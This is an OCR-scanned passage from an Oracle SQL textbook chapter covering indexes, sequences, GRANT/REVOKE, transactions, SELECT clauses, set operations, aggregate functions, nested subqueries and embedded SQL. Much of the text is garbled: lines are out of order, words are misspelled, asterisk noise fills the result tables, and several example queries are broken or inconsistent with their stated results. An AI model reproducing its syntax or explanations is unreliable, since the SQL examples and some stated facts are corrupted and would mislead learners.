indexes on attributes of base relation. These commands are generally
considered to be part of the SQL data definition language (DDL).
An index is a physical access structure that is specified on one or
more attributes of the relation. The attributes on which an index is

Oracle/28
created are termed indexing attributes. An index makes accusing
tuples based on conditions that involve its indexing attributes more
efficient. This means that in general executing a query will take less
time if some attributes involved in the query conditions were indexed
than if they were not. This improvement can be dramatic for queries
where large relations are involved. In general, if attributes used in
selection conditions and in join conditions of a query are indexed, the
execution time of the query is greatly improved.
In SQL indexed can be created and dropped dynamically. The
create Index command is used to specify an index. Each index is
given a name, which is used to drop the index when we do not need it
any more.

xa nple:
Create Index Emp_Index
ON Employee (Emp_name);
In general, the index is arranged in ascending order of the
indexing attribute values. If we want the values in descending order
we can add the keyword DESC after the attribute name. The default in
ASC for ascending. We can also create an index on a combination of
attributes.
Example
Create Index Emp_Index1
ON Employee (Emp_name ASC,
Comp_name DESC);
There are two additional options on indexes in SQL. The first is to

specifythe key constraint on the indexing attribute or combination of


attributes.
The keyword unique following the CREATE command is used to
specify a key. The second option on index creation is to specify
cluster is used in
whether on index is clustering index. The keyword
command. A base relation can
this case of the end of the create Index
have atmost one clustering index but any number of non_clustering

indexes.
Index command. The reason
To drop an index, we issue the Drop whenever
are expensive to maintain
for dropping indexes is that they
and they require additional storage.
the base relation is updated
a key constraint should
not be
However, the indexes that specify that
want the system to continue enforcing
dropped as long as we
constraint.

Example
Drop Index Emp_Index;

Data Manipulation& Control/29


7. Sequences
The quickest way to retrieve data from a table is to have a column in
the table whose data uniquely identifies a row.By using this column
and a specific value in the WHERE condition of a SELECT sentence
the oracle engine will be able to identify and retrieve the row the
fastest.
To achieve this a constraint is attached to a specific column in the
table
table that ensures that the column is never left empty and that the data
values in the column are unique. Since human beings do data entry,it
is quite likely that a duplicate value could be entered ,which violets
this constraint and the entire row is rejected.
If the value entered into this column is computer generated it will
always fulfill the unique constraint and the row will always be accepted
for storage.
Oracle provides an object called a sequence that can generate
numenc values. The value generated can have a maximum of 38
digits. A sequence can be defined to
-Generate numbers in ascending or descending order
-Provide intervals between numbers
-Caching of sequence numbers in memory to speed up their
availability
A sequence is an independent
object and can be used with any
table that requires its output.

Creating Sequences
Always give sequence a name so that it can be referenced later when
required.
The minimum information required for generating numbers using a
sequence is
-The starting number
The maximum number that can be generated by a sequence
-
The increment value for generating the next number
This information is provided to oracle at the time of sequence creation

Syntax:
CREATE SEQUENCE <SequenceName>
(INCREMENT BY <IntegerValue>
(START WITH <IntegerValue>
MAXVALUE <IntegerValue> / NOMAXVALUE
MINVALUE <IntegerValue> /NOMINVALUJE
CYCLE/NOCYLCLE
CACHE <IntegerValue>/NOCACHE
ORDER/NOORDER]

Keywords and Parameters


INCREMENT BY:-Specifiesthe interval between sequence numbers
It can be any positive or negative value but not zero.If this clause is
omitted the default value is1.
Oracle/30
MINVALUE:- Specifies the sequence minimum value.
NOMINVALUE :Specifies a minimum value of 1 for an ascending
for a descending sequence.
sequence and -(10)"26
MAXVALUE: Specifies the maximum value that a sequence can
generate.
NOMAXVALUE: Specifies a maximum of 10^27 for an ascending
sequence or -1 for a descending sequence. This is the default clause.
START WMTH :Speciifes the first sequence number to be generated.
The default for an ascending sequence is the sequence minimum
value(1) and for a descending sequence, it is the maximum value(-1)
CYCLE: Specifies that the sequence continues to generate repeat
values after reaching either its maximum value.
NOCYCLE: Specifies that a sequence cannot generate more values
after reaching the maximum value.
CACHE:Specifies how many values of a sequence oracle pre
allocates and keeps in memory for faster access.The minimum value
for this parameter is two.
NOCHACHE:Specifies that values of a sequence are not pre-
allocated.
ORDER:This guarantees that sequence numbers are generated in
the order of request.This is only necessary fif using parallel server in
parallel mode option .In exclusive mode option ,a sequence always
generates numbers in order.
NOORDER:This does not guarantee sequence numbers are
generated in order of request.This is only necessary if you are using
parallel server in parallel mode option. If the ORDER/NOORDER
clause is omitted, a sequence takes the NOORDER clause by default.

Example
Create a sequence by the name ADDR_SEQ ,which will generate
numbers from 1 uptp 9999 in ascending order with an interval of 1.The
sequence must restart from the number 1 after generating number
999
CREATE SEQUENCE ADDR_SEQ INCREMENT BY 1 START WITH
1 MINVALUE 1 MAXVALUE 999 CYCLE;

Referencing a sequence held


Once a sequence is created SQL can be used to view the values
SELECT sentence
in its cache. To simply view sequence value use a
as described below.
SELECT <SequenceName>.Nextval from cache DUAL;
on the VDU screen.
This will display the next value held in the
Everytime nextval references a sequence its output automatically
is
incremented from the old value to the new value ready for use.
To reference the current value of a sequence:
SELECT <SequenceName>.CurrVal FROM DUAL;

Data Manipulation & Control/ 31


Dropping a Sequence used to remove the sequence
The DROP SEQUENCE command is
from the database.
Syntax:
DROP SEQUENCE <SequenceName>

LANGUAGE
2.5 DATA CONTROL
The data control language commands are related to the security
of database. They perform tasks of assigning privilages, so users can
access certain objects in the database. This section deals with DCL

commands.
1. GRANT Command
The objects created by one user are not accessible by another
user unless the owner of those objects gives such permissions to
other users. These permissions can be given by using the GRANT
statement. One user can grant permission to another user if he is the
owner of the object or has the permission to grant access to other
users.

The grant statement provides various types of access to database


objects such as tables, views and sequences.
Syntax
GRANT (object privilages}
ON object name
To user name
with GRANT OPTION]
Object privilages:
Each object privilage that is granted authorizes the grantee to
perform some operations on the object. The user can grant all the
privilages or grant only specific object privilages.
The list of object privilages is as follows
Alter allows the grantee to change the table definition with the
ALTER TABLE command.
Delete allows the grantee to remove the records from the table
with the DELETE command.
Index allows the grantee to create an index on table with the
CREATE INDEX command.
Insert allows the grantee to add records to the table with the
INSERT command.
Select allows the grantee to query the tables with SELECT
command.

Oracle /32
Update alows the grantee to modify the records in tables with
UPDATE command.
With grant option: It allows the grantee to grant object privilages
to other users.

Example 1: Grant all privilages on student table to user


Pradeep.
sQL> GRANT ALL
ON student
To Pradeep
Example 2: Grant select and update privilages on student
table to mita
SQL GRANT SELECT, UPDATE
ON student
To Mita;
Example 3: Grant all privilages on student table to user
Sachin with grant option.
sQL GRANT ALL
ON student
To Sachin
WITH GRANT OPTION;

2. REVOKE Command
The REVOKE statement is used to deny the grant given on an

object.
Syntax
REVOKE (object privilages)
ON object name
FROM user name;
The list of object privilages is:
Alterallows the grantee to change the table definition with the
ALTER TABLE command.
Delete allows the grantee to remove the records from the table

with the DELETE command.


to create index on table with the
Index allows the grantee an

CREATE INDEX command.


to add records to the table with the
Insert allows the grantee
INSERT command.
Select allows the grantee to query the tables with SELECT

command.

Data Manipulation & Control / 33


modify the records
in tables wit h
Update allows the grantee to
UPDATE command
You cannot use REVOKE command to perform following
followino
operations

grant
didn't to the revokee.
1. Revoke the object privilages that you
the operating system
2. Revoke the object privilages granted through
Revoke Delete privilege on
student table from Pradeep.
Example 1:
REVOKE DELETE
ON student
From Pradeep;
the remaining privilages on student that
Example 2: Revoke
were granted to Pradeep.
Revoke ALL
ON student
FROM Pradeep
3. COMMIT Command
Commit command is used to permanently record all changes that
the user has made to the database since the last commit command
was issued or since the beginning of the database session.
Syntax :
COMMIT;
Implicity cOMMIT
The actions that will force a commit to occur even without your
instructing it to are
quit, exit,
create table or create view
drop table or drop view
grant or revoke
connect or disconnect
alter
audit and non-audit
Using any of these commands is just like using commit. Until
commit, only you can see how your work affects you
else with access to these
the tables. Anyone
tables will continue to get the o0
information.

Oracle 34
4. ROLLBACK command:
The ROLLBACK statement does the opposite of the commit
exact
but undoes any changes made
statement. It ends the transaction
during the transaction. Rollback is useful for two reasons:

(1) If you have made a mistake, such as deleting the wrong row
for a table, you can use rollback to restore the original data. Rollback
willtake you back to intermediate statement in the current transaction,
which means that you do not have to erase the entire transaction.
(2) ROLLBACK is useful if you have started a transaction that you
cannot complete. This might occur if you have a logical problem or if
there is an SQL statement that does not execute successfully. In such
cases rollback allows you to return to the starting point to allow you to
take corrective action and perhaps try again.
Syntax: ROLLBACK[WORK] [TO [SAVEPOINT) save point
where
WORK- is optional and is provided for ANSI compatibility
SAVEPOINT i s optional and is used to rollback a partial
transaction, as far as the specified save point.
current transaction.
Savepoint: is savepoint created during the
a

Using rollback without savepoint clause.


1. Ends the transaction.
2. Undoes all the changes in the current transaction.

3. Erases all savepoints in that transaction


4. Releases the transaction locks.
rollback with the to savepoint
clause:
Using
transaction.
1. Rolls back just a portion of the
but losses those created
2. Retains the savepoint rolled back to,
after the named savepoint.
3. Releases all tables and row locks that were acquired since the
savepoint was taken.

Example
To rollback entire transaction ROLLBACK,
To rollback to savepoint sps: ROLLBACK TO SAVEPOINT

sps
Savepoints:
Savepoints mark and save the current point in the current
processing of a transaction Used with the ROLLBACK statement,

savepoints can undo part of a transaction.

Data Manipulation & Control 35


By default the maximum number of savepoints per transaction is
5. An active savepoint is the one that is specified since the last commit
or rollback.

Syntax: SAVEPOINT savepoint:


After a savepoint, is created, you can either continue processing.
commit your work rollback the entire transaction, or rollback to the
savepoint.

2.6 SELECT QUERY AND CLAUSES

The basic structure of an SQL expression consists of three


clauses:
select, from and where,
The select clause corresponds to the projection operation of
the relational algebra.
It is used to list the attributes desired in the result of a query.
The from clause corresponds to the cartesian product
operation of the relational algebra. It lists the relations to be
scanned in the elevation of the expression.
The where clause corresponds to the selection nradirata of
the relational algebra.
It consists of predicate involving attributes of the relations that
appear in the from clause.
Simple SQL query i.e. select statement has the fom:
select A Ap . ,A

from 2 m
where P.
The variables are defined as follows
AAa An represent the attributes.
m represent the relations from which the
attributes are selected.
P -is the predicate.
This query is equivalent to the relational
algebra expression
A, A p . An S , , *T2 * . . xm))

where clause is optional. If the where clause is omitted, the


predicate P is true.
Select clause forms the cartesian
product of relations named in the
from clause, performs a relational
algebra selection using the where
Oracle 36
clause and then projects the results onto the attributes of the select
clause.
The purpose of select statement is to retrieve and display data
from one or more database tables It is an extremely powerfui
statement capable of
perfoming the equivalent relational algebra's
Selection Projection, and Join operations in a single statement. Select
is the most frequently used SOL command and has the
following
general form
SELECT DISTINCT ALLI
FROM Table_Name [alias]l...
[WHERE condition]
(GROUP BY column_List) [HAVING condition)
[ORDER BY column_List]
The sequence of processing in select
a
statementis
FROM
WHERE
GROUP BY
HAVING
SELECT
ORDER BY
The order of the dauses in the select command can not be

changed. The only two mandatory columns are SELECT and FROM.
the remainder are optional.

1. Expressions in the select list:


In addition to specifying columns, you also can specify
expressions in the select list.
arithmetic operators can be used in select list
Following

Description Operator
Addition
Subtraction
Multiplication
Division

For example, consider the following queries using operators in select

list
SOL>Select E_name, Salary. 1000

from Employee

Data Manipulation & Control/ 37


Salary 1000
E name ***********************
*****************"*************************************"******************************* .....
***************

1,00,00,000
*********************************************"*****

Sachin
Rahul 2,00,00,000
1,00,00,000
Ajay
Anil 1,00,00,000
4 rows selected.
SQL> Select E_name, Salary+ 10000
from Employee;
E nam Salary+ 10000
******************************************amabaa****************4*********** ***************.******************** ************************************************************
.....

Sachin 20,000
Rahul 30,000
Ajay 20,000
Anil 30,000
4 rows selected.
Select statement using where clause
2.
select and from clauses provide you with either some columns
and all rows or all columns and all rows. But if you want only certain
rows, you need to add another clause, the where clause.
where clause consists of one or more conditions that must be
satisfied before a row is retrieved by the query.
It searches for a condition and narrows your selection of data.
For example, consider select statement with where clause given
below
SQL> Select Student_jd, First_Name
from Student
where Student_id = 'S10234

Student id First aneaesnansassunvasun


name
********************************************* *** ********** ******s*h****e************************o********* ***a*********e** **** ** * ***********aosesnnanosw*sneaeease.

S10234 Sunil
1 row selected
SQL> Select E_name Salary
from Employee
where Salary> 10000
**
E name
* * * * * * * * * * * * * *insh*****aan a***************osnanesn s**seaseasagsn************************** * se Salary ***** *snnsan

Rahul 20000
Anil 20000
2 row selected

where uses the logical con ectives: and, or and not.


where clause uses the comparison operators

Oracle 38
Description
Less than
Less than or equal to
Greater than
Greater than or equal to
Equal to
Not equal to or <>
SQL>Select E_name, Salar)
from Employee
Operator
where Salary>10000 and Ename = Anil

E_namee s**
Salary
srosssresnss*onsessrsesasssssssaarupseseanse*6**oleee**e*****************

Anil 20000
1 row selected.

Range Searching
In order to select data that is within a range of values ,the BETWEEN
operator is used. The BETWEEN operator allows the selection of rows
that contain values within a specified lower and upper limit. The range
coded after the word BETWEEN is inclusive
The lower value must be coded first. The two values in between the
range must be linked with the keyword AND. The BETWEEN operator
can be used with both character and numeric data types.However the
datatypes can not be mixed.i.e the lower value of a range of values
from a character column and the other from a numeric column.
Example 1: Listthetransactions performed inmonths of
January to March
Solution:
SELECT FROM TRANS_MSTR WHERE TO_CHAR(DT,MM)
BETWEEN 01 AND 03;
Equivalent to
ECT FROM TRANS_MSTR WHERE TO_CHAR (DT, MM')>=01
AND TO_CHAR(DT, MM"')<=03;

Explanation
The above select will retrieve all those records from the ACCT_MSTR
table where the value held in the DT field is between 01 and 03 (both
values inclusive). This is done using TO_CHAR() function which
extracts the month value from the DT field. This is then compared
using the AND operator.

Data Manipulation &Control/ 39


Example 2: Listall the accounts which have notbeen accessed
inthe fourth quarter of thefinancial year
Solution
SELECT DISTINCT FROM TRANS MSTR WHERE
TO_CHAR(DT, MM') NOT BETWEEN 01 AND 04
Explanation
The above select will retrieve all those records from the ACCT_MSTR
table where the value held in the DT field is not between 01 and
04(both values inclusive).This is done using TO_CHAR() function
which extracts the month value from the DT ield and then compares
them using the not and the between operator.

2.7 SELECT STATEMENT WITH ORDER BY CLAUSE

ORDER BY clause is similar to the GROUP BY clause. The


ORDER BY clause enables you to sort your data in either
ascending
or descending order.
The ORDER BY clause consists of a list of column identifiers that
the result is to be sorted on,
separated by columns. A column identifier
may be either a column name or a column number.
It is possible to include
more than one element in the ORDER BY
clause. The major sort key determines the overal. order of tho raeit
table
If the values of the major sort
key are unique, there is no need for
additional keys to control the sort. However, if the values of the
major
sort key are not unique, there may be rows in the result table multiple
with the same value for the major sort key. In this case it may be
desirable to order rows with the same value for the major sort key hu
some additional sort key. If a second element
appears in the ORDER
BY clause, it is called a minor sort
key.
Example: Consider the worker database
SQL>select
from worker
order By F_NAME asc 0;

F_NAME STATUS
*****************************************************************************
GENDER
****************** *********** *
BIRTHDATE
******** ********* **********
Ajay Regular M 05/03/69
Ashwini Regular F 11/01/70
Rahul Summer M 01/12/72
Smita
Regular F 23/09/67

Oracle 40
2.8 GROUP BY CLAUSE

Another helpful clause is the group by clause. A group by clause


arranges your data rows into a group according to the columns you
specify.
A query that includes group by clause is called a grouped query
because it groups that data from the SELECT
tables and generates
single summary row for each group.
The columns named in the
group by clause are called the
grouping columns.

When GROUP BY clause is


used, each item in the SELECT Iist
must be single-valued
per group.
The select clause may contain
only

Column names
Aggregate functions
Constantss
An expression involving combinations of the above.

All column names in SELECT must


appear in GROUP BY clause,
unless the name is used only in an aggregate function. The contrary is
not true: there may be column names in GROUP BY clause that do
not appear in SELECT clause.

When the WHERE clause is used with GROUP BY the WHERE


clause is applied first, then groups are formed from the remaining rows
that satisfy the search condition.

Example
Consider the worker table given below
SQL>select
from worker
STATUS GENDERR BIRTHDATE
F_NAME
*************************.************ . ***

Ashwini Regular 11/01/70


Rahul Summer M 01/12/72
Ajay Regular M
05/03 69
Smita Regular 23 09/67

Data Manipulation & Control 41


SQL Select
from worker
Group By status,

STATUS GENDER BIRTHDATE


F_NAME *****************************************************
i ********************************************************** sm tsan.

Ashwini Regular 11/01/70


05/03/69
Ajay Regular M
F 23/09/67
Smita Regular
Rahul Summer M 01/12/72

(2) To group by more than one column,


SQL select
from worker
Group By status, Gender
F_NAME
*******************************************************"
STATUS *
GENDER
************"*****************************************"
BIRTHDATE
***********.smes.

Ashwini Regular F 11/01/70


Smita Regular 23/09/67
Ajay Regular M 05 /03/69
Rahul Summer M 01/12/72

2.2, 2.3,2.4,2.5,2.6, 2.7 Check Your Progress


Fill in the blanks
1) DCL contain & commands.
2) Primry Key is the combination of &
3) After table command operates on ends.
4) cmd is used to save data in database.
5) The condition in group by clause is given by . clause.

2.9 HAVING CLAUSE

The Having clause is similar to the where-clause. The Having


clause does for aggregate data what where clause does for individual
rows. The having clause is another search condition. In this case,
however, the search is based on each group of grouped table.
The difference between where clause and having clause is in the
way the query is processed.

Oracle/ 42
condition 'on the row is performed
In a where clause, the search
formed first
before rows are grouped. In having clause, the groups are
and the search condition is applied to the group.

Syntaxis
select select_list
from tablelist
where condition [AND : OR] . . . . condition]
column N
group by column 1, column 2, .

[Having condition]
Example
SQL>select
from worker
Group By status, Gender
Having Gender "F;

STATUSS GENDER BIRTHDATE


F_NAME
** e ****************************************************************************

11/01/70
Ashwini Regular
F 23/09/72
Smita Regular

SQL>select
from worker

where Birthdate < 11/01/70

Group By status, Gender


Having Gender = "M';

STATUS GENDER BIRTHDATE


F_NAME *****************************
*****************************|

******:******** *****

Regular M 05/03/69
Ajay

2.10 STRING OPERATION

rows with the LIKE operator.


(1) Searching for
The most commonly used operation on strings is pattem matching
using the operator like.
We describe patterns using two special characters.
Percent (%) - The % character matches any substring

Underscore L): The-character matches any character.


Patterns are case sensitive.
To illustrate consider thefollowing examples

F4 Data Manipulation& Control 43

.
1 "con%" matches with any string beginning with con'. For

example: concurrent, conference.


% nfi %" matches any string containing "nfi" as a substring.
2
For example : confidence, confidential, confirm, confine.
3. " "matches any three characlers.

4. "-%" matches any string of at least three characters.


Patterns are expressed in SQL using like operator.

Example Queries
of customers whose city name include "bad"
(1) Find the names

SQL> select cust_name, cust_city


from customer
where cust_city like "%bad";
Cust name Cust city
****************"*********"*************************************************************************************1******'********"**************************** rh

Sachin Aurangabad
Rahul Hyderabad
Ajay Ahemadabad
(2) Find the student's last name and id if the last name begins
with "Desh"
sQL> select student_id, last_name
from student
where last_name like "Desh %";
student id last name
**rAssagnauesnousrsne*ssssape aps*sopnstore*sessengsspnsens seasn***

101 Deshpande
102 Deshmukh
For patterns to include the special characters (i.e. % & -), SQL
allows the specification of an escape character (). The escape
character is used immediately before a special character to indicate
that the special pattern character is to be treated like a nomal
character. We define the escape character for a like comparison us1iny
the escape keyword. To illustrate, consider the following patterms,
which use a backslash () as the escape character
(1) like 'ab1%cd' escape '
matches all strings beginning with "ab%cd".
(2) like 'abllcd escape
matches all strings beginning with ablcd.
(3) like 'abl_cd' escape \
matches all strings beginning with ab_cd.
SQL allows us to search for mismatches instead of matches by
using the not like comparison operator.

Oracle/ 44
2.11 DISTINCT ROWs

SELECT statement has an optional Keyword distinct. This


have distinct
keyword follows select and return only those rows which
values.
values for the specified columns. i.e. it eliminates duplicate
The keyword all allows to specify explicitly that the duplicates are
not removed.

Example
SQL>select distinct branch_name
from loan;
which eliminates duplicate values in the result.
SQL select all branch_namne
from loan;
result relation.
it specifies that duplicates are not eliminated from
will not use all.
Since duplicate retention is by default, we

2.12 RENAME OPERAITON

a mechanism for renaming both relations and


SQL provides
attributes. It uses as clause and the syntaxis:
old_name as new_name
select and from clauses.
The as clause can appear in both the

Example borrower_loan_no.
select distinct customer_name,
SQL from borrower, loan
where borrower-loan_no
=
loan-loan_no and
branch name = "ICICI';

rewritten using as clause as follows.


This query can be
select customer_name, borrower_loan no as loan_id
SQL>
from borrower, loan

where borrower loan_no =


loan-loan_no and
branch name = 'IClICI';

where borrower_loan_no attribute is renamed


as

loan_jd.,

2.8 2.12 Check Your Progress


Fill in the blanks
1) A query that include group by clause is called
query.
2) Duplication of data avoid by Keyword.

Data Manipulation & Control I 45


2.13 SET OPERATIONS

The SQL-92 operations UNION,, INTERSECT and MINUS operate on


relations and correspond to the relational algebra operations u,n
Like the union, intersect and set difference in relational algebra
the relations participating in the operations must be compatible, i.e
they must have the same set of attributes.
There are restrictions on the tables that can be combined using
the set operations, the most important one being that the two tables
have to be union-compatible; that is they have the same structure
This implies that the two tables must contain the same number of
columns, and that their corresponding columns have the same data
types and lengths. It is the users responsibility to ensure that data
values in corresponding columns come from the same domain.
Uhion operator:
The syntax for this set operator is
select_statement 1
Union
select_statement 2
order_by_clause]
The variables are defined as :
select statement 1 and select_statement 2 are valid select
statements
order_by_clause is optional ORDER By clause that references the
columns by number rather than by name.
The UNION operator combines the returned by the first
rows
SELECT statement with rows returned by the second SELECT
statement.
Keep following things in mind when you use the UNION operator.
1. The two SELECT statement
may not contain an ORDER By
clause; however, you can order the results of the
union operation.
2. The number of columns retrieved
by select_statement
1 must be
equal to the number of columns retrieved by
3 The data types of the columns select_statement
2.
retrieved
by select_statement 1
must match with the data
types of the columns retrieved by
select_statement 2.
4 Here the optional
order_by_clause differs from the usual ORDER
By clause in a select statement, because the
columns used for
ordering must be referenced by number rather than
reason that columns must be by name. The
referenced by number is that SQ
does not require that the
column names retrieved by
Oracle / 46
select_statement-1 be identical to the column names retrieved by
select statement 2.
Example
Find all customers having a loan, an account or both at the bank.
SQL select customer_name
from depositor
union
select customer_name
from borrower.
Union operation finds all customer having an account, loan or both at
bank.
Union operation eliminates duplicates.
Intersect Operator:
The Intersect operator returns the rows that are common between two
sets of rows.
The syntax for using the INTERSECT operator is
select_statement-1
Intersect
select_statement-2
[Order_By_clause]
The variables are defined as follows
Select_statement 1 and select_statement 2 are valid SELECT
statements.
Order_By clause is an optional Order By clause that
references the columns by number rather than by name.
Here are some requirements and considerations for using the
INTERSECT operator.
1. The two select statement may not contain Order_By clause;
however, you can order the results of the entire Intersect
operation.
2. The number of columns retrieved by select_statement 1 must
be equal to the number of columns retrieved by
select_statement 2.
3. The data types of columns retrieved by select_statement 1
must match the data types of the columns retrieved by
select_statement 2.
4. The optional Order_By_clause differs from the usual Order By
clause in the SELECT statement because the columns used
for ordering must be referenced by number rather than by
name. The reason that the columns in the Order_By_clause

Data Manipulation & Control/ 47


name that is
number rather than by
must be referenced by retrieved by
that the column names
SQL does not require retrieved by
identical to column names
select_statement 1 be the columns
must indicate
select-statement 2. Therefore, you list.
in select
to be used in ordering results by their position
Example account and loan at the
who have both
an
Find all customers

bank.
SQL (select customer_name

from depositor)
INTERSECT

(select customer_name
from borrower)
eliminates duplicates. If we
The intersect operator automatically
we must write INTERSECT all
in place of
want to retain all duplicates,
INTERSECT.
The Minus Operator (Except operator):
The syntax for using Minus operator is
select_statement 1
Minus
select_statement 2
order by clause]

The variables defined are


select_statement 1 and select_statement 2 are

valid SELECT statements.

Order _By_clause is an ORDER By


Clause that references columns by numbers rather than by name.
The requirements and considerations for using the MINUS
operator are essentially the same as those for the INTERSECT and
UNION operator.

Example: Find all customers who have an account but no loan

at the bank.
SQL> Select customer_name
from depositor
MINUS
Select customer_name
from borrower

Oracle / 48
2.14 AGGREGATE FUNCTIONs

Aggregate functions are the functions that take a collection of


values as input and return a single value.
sQL offers five built-in aggregate functions.
1. Average AVG
2 Minimum MIN
3. Maximum MAX
4. Total SUM
5. Count COUNT
These functions operate on a single column of a table and return a
single value.
COUNT, MIN and MAX apply to both numeric and non-numeric
fields, but SUM and AVG may be used on numeric fields only.
Apart from cOUNT(), each function eliminates nulls first and
operates only on the remaining non-null values.
f we want to eliminate duplicates before the function is applied,

we use the keyword DISTINCT before the column name in the


function.
The keyword ALL can be used if we do not want to eliminate the
duplicates. ALL is assumed if nothing is specified.
DISTINCT has no effect on MIN and MAX functions. It may effect
on the result of SUM or AVG.
It is important to note that an aggregate function can be used only
in SELECT list and in the HAVING clause. It is incorrect to use it
elsewhere.
avg function
avg function computes the column's average value.
The input to avg must be a collection of numbers.
Example: Find the average balance
SQL select avg (balance)
from account;
This aggregate function can also be applied to a group of set
of tuples using group by clause.
Example: Find the average balance at each branch
SQL select branch_name, avg (balance)
from account
group by branch_name;

Data Manipulation& Control 49


min and max functions
maximum values for tha
minimum and
min and max return the
specified column.

Example of balance.
values
Find the minimum and maximum
from account.
Select max (balance) min (balance)
sum function:
column's total value. Input to this
sum function computes the
of numbers.
function must be a collection

Count function There


number of rows. are twa
count function counts the
foms of count.
count () - which counts all the rows in a table that satisfy any
specified criteria.
count (column_name) - which counts all rows in a table that
have a non-null value for column_name and satisfy the specified
critena.
NULLValues
SQL allows the use of null values to indicate absence of
information about the value of an attribute.
We can use the special keyword NULL in a predicate to test
for a null value.
Example:
SQL select loan_no
from loan
where amount is NULL;
The predicate NOT NULL tests for the absence of null values.
The use of a NULL value in arithmetic and
comparison operations
causes several complications. The result of an arithmetic
is NULL if any of the input values is NULL. The result of
expressions
any
comparison involving a NULL value can be thought of as being false.
SQL_92 treats the results of such comparisons as unknown,
which is neither true nor false. It also allows to test
us whether the
result of a comparison is unknown.
In general, aggregate functions treat nulls using the following rule
All aggregate functions except count (") ignore NULL values in
their input collection.

Oracle /50
2.15 NESTED SUB QUERIES
SQL provides a mechanism for the nesting of sub queries. A sub
query is a select-from-where expression that is nested within another
query. A common use of sub queries is to perform testsfor:
1. Set membership
2. Set comparison
3 Set cardinality.

1. Set Membership: (in connective)


The in connective tests for the set membership, where the set is a
collection of values produced by a select clause.
The not in connective tests for the absence of set mn bership.
As an illustration consider the following query:
(1) "Find all customers who have both a loan and an account at the
bank".
Note The result of this query can be obtained using
INTERSECT operator.
SQL select customer_name
from borrower
where customer_name in (select customer_name
from depositor)
i.e. find all customers having an account who are members of
the set of borrowers from the bank.

Find all customers who have both an account and loan at the
(2)
ICICI branch.
SQL> select customer_name
from borrower, loan
where borrower loan no = loan loan_no and

branch_name =
ICICI' and
(branch_name, customer_name) in
(select branch_name, customer_name
from depositor, account
where depositor-account_no= account account_no);
Example queryfor not in connective:
(1) Find all customers who do have a loan at the bank, but do not
have an account at the bank.
SQL select customer_name
from borrower

Data Manipulation & Control 51


in
where customer_name not
(select customer_name
from depositor); enumerated sets.
can also be used on
The in and not in operators

Example: loan at a bank and whose


customer names who have a
Find the
names are neither 'Sachin' nor 'Ajay.
SQL select customer_name
from borrower
where customer_name not
in (Sachin', 'Ajay');

2. Set Comparison:
SQL allows following set comparison operators
Less than at least one
<Some

= Some: Less than or equal to at least one

> Some Greater than at least one


>= Some Greater than or equal to at least olle

some Equal to at least one

<Some Not equal to at least one.

Example Query:
Find the names of all branches that have assets greater than
those of at least one branch located in Bombay
SQL select branch_name
from branch
where assets> some (select assets
from branch
where branch_city ='Bombay')
Sub query(select assets
from branch
where branch city Bombay)
generates the set of all asset values for all branches in Bombay.
some comparison in where clause of The
the outer select is true if the
asset value of the tuple is greater than at
least one member of the se
of all asset values for branches in
Bombay.
SQL also supports
following
set of
comparison operators
all less than all
=all . less than or
equal to all
all greater than all
> all
greater than or equal to all

Oracle 52
all equal to all
<all not equaltoall
Example Query
Find the branch that has the highest average balante.
SQL select branch_name from account
group by branch_name having avg (balance) >= all (select avg
(balance) from account group by branch_name);
Test for Empty Relations
SQL includes a feature for testing whether a sub query has any
tuples in its results.
The exists construct returns the value true if the argument query
is non-empty.
Similarly, we can test the non-existence of tupiles in a sub-query
by using the not-exists construct.
Example Query using exists construct
"Find all customers who have both an account and a loan at the
bank."
SQL> select customer_namne
from borrower
where exists (select
from depositor
depositor customer_name
=
where
borrower-customer_name);
Example Query using Not exists construct
Find all customers who have an account at all branches located in

Bombay whether the set of all


Note: For each customer we need to see
contains the set of all
branches at which that customer has an account
branches in Bombay.
SQL> select distinct customer_name
from depositor as S
where not exists (select branch_name
from branch
where branch_city = "Bombay')

minus

(select R branch_name
from depositor as T, account as R

where
T.account_number= R:account_number
and

Data Manipulation & Control 53


Scustomer_name = Tcustomer_name)

where,
(select branch_name
from branch
where branch_city 'Bombay')
in Bombay.
Finds all the branches
The sub query
(select R branch_name
account as R
from depositor as T,
= R:account_number
where Taccount_number
= T-customer_name)
and S customer_name has an
customer Scustomer_name
Finds all branches at which

account. whether the


customer and tests
the outer select takes each
Thus, contains the
which the customer has an account
set of all branches at
in Bombay.
set of all branches located
Test for the Absence of Duplicate
Tuples
feature for testing whether a sub query has any
SQL includes
duplicate tuples in its result. sub
construct returns the value true if the argument
The unique
query contains no duplicate tuples.
Example Query account at lCICI
Find all customers who have only one

branch.
SQL select T-customer_name
from depositor as T
where unique (select R:customer_name
from account, depositor as R
where T-customer_name
Rcustomer_name and
Raccount_no = account account_number

and
account branch_name =
"ICICr);
We can test for the existence of duplicates in a sub-query by using
the not unique construct.

Example Query:
Find all customers who have at least two accounts at the ICI
branch.
SQL> select distinct T-customer_name
from depositor T

Oracle 54
where not unique (select R customer_name
from account, depesitor as R
where Tcustomer_name = Rcustomer_name

and
Raccount_number = account: account_number

and account branch_name = 'ICIC);

2.16 EMBEDDED SQL

Need of embedded SQL SQL provides a powerful declarative


query language. Writing queries in SQL is typically much easier than is
coding the same queries in a general-purpose programming language.
However, access to a database from a general purpose language is
required for at least two reasons:

(1) queries can be expressed in SQL since, SQL does not


Not all
provide the full expressive power of a general purpose language. That
is there exist queries that can be expressed in a language such as
Pascal, C, Cobol, or Fortran that cannot be expressed in SQL. To
write such queries, we can embed SQL within a more powerful
language.
SQL is designed such that queries written in it can be optimized
of
automatically and executed efficiently, and providing the full power
programming language makes automatic optimization exceedingly
difficult.

(2) Non-declarative actions such as printing a report, interacting with


a user, or sending the results of a query to a graphical user interface,
cannot be done from within SQL. Applications typically have several
components and querying or updating data is only one component,
other components are written in general purpose programming
languages. For an integrated application, the programs written in the
programming language must be able to access the database.
The SQL standard defines embedding of SQL in a variety of
programming languages, such as Pascal, PLI, C, and control.
A language in which SQL queries are embedded is referred to as
host language, and the SQL structures permitted in the host
language constitute embedded SQL.
Programs written in host language can use the embedded SQL
syntax to access and update data stored in a database. This form of

Data Manipulation & Control/ 55


SQL extends the programmer's ability to manipulate the database

even further.

Working of Embedded SQL


is performed by the
In embedded SQL all query processing
database system. The result of query is
then made available to the
An embedded SQL program must be
program one tuple at a time.
to compilation. Embedded
prior
processed by a special preprocessor
SQL requests are replaced with host language declarations and
callsthat allow run-time execution of the database
procedure
accesses. Then the resulting program is compiled by the host
language compiler.
Syntax of Embedded SQL
to the preprocessor we use
To identify embedded SQL request
EXEC SQL statement.
The format is
EXEC SQL < embedded statement >END EXEC.
SQL
The exact syntax for embedded SQL requests depends on the

